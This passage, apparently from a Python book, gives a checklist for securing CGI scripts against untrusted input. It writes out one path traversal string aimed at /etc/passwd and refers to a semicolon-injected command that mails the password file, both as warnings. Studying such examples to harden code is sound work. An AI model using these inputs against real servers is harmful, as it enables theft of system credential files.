If this were executed on the command line as part of a **sendmail** line, the command after the semicolon would mail the password file to the same user—a severe security hazard if not checked. The easiest way to trap this is to always check the information that you supply on to any external command of any kind.

There is a simple rule to follow when using CGI scripts: don't trust the size, content, or organization of the data supplied.

Here is a checklist of some of the things you should be looking out for when writing secure CGI scripts:

- Double-check the field names, values, and associations before you use them. For example, make sure an email address looks like an email address, and that it's part of the correct field you are expecting from the form.
- Don't automatically process the field values without checking them. As a rule, come up with a list of ASCII characters that you are willing to accept and filter out everything else with a regular expression.
- It's easier to check for valid information than it is to try to filter out bad data. Use regular expressions to match against what you *want*, rather than using it to match against what you *don't want*.
- Check the input size of the variables or, better still, of the form data. Mail addresses don't need to be more than 256 characters, and anybody supplying more data to a field that you know has been configured to support only

40 characters is probably up to no good. You can use the **CONTENT_LENGTH** environment variable, which is calculated by the web server to check the length of the data being accepted on **POST** methods, and some web servers supply this information on **GET** requests, too.

- Don't assume that field data exists or is valid before use; a blank field can cause as many problems as a field filled with bad data.
- Don't ever return the contents of a file unless you can be sure of what its contents are. Arbitrarily returning a password file when you expected the user to request an HTML file is open to severe abuse. Ensure that file requests point to a file that you are happy to return, or use **os.chroot()** to restrict what the user has access to.
- Don't accept that the path information sent to your script is automatically valid. Choose an alternative **PATH** environment value that you can trust, hardwiring it into the initialization of the script. While you're at it, use **del** to remove any environment variables you know you won't use.
- If you are going to accept paths or file names, make sure they are relative, not absolute, and that they don't contain **..**, which leads to the parent directory. An attacker could easily specify a file of ../../../../../../../../../etc/passwd, which would reference the password file from even a deep directory.
- Always validate information used with **os.system()**, **os.fork()**, or **os.exec*()**. If nothing else, ensure any variables passed to these functions don't contain the characters **;**, **|**, **(**, or **)**. Alternatively, avoid using these altogether.
- *Never* use an untreated value with **os.popen()**, **os.exec*()**, or any function that otherwise runs an external command.
- Ensure your web server is not running as **root**, which opens up your machine to all sorts of attacks. Run your web server as **nobody**, or create a new user specifically for the web server, ensuring that scripts are readable and executable only by the web server owner, and not writable by anybody.
- Don't assume that HTML fields with a type of "hidden" are really hidden—users will still see them if they view the file source. And don't rely on your own encryption algorithms to encrypt the information supplied in these hidden fields. Use an existing system that has been checked and is bug free. Solutions are available for most encryption systems; check the Vaults of Parnassus for suitable modules.

If you follow these guidelines, you will at least reduce your risk from attacks, but there is no way to completely guarantee your safety. A determined attacker will use a number of different tools and tricks to achieve his goal.

Oh, and did I mention that you shouldn't trust the size, content, or organization of the data supplied?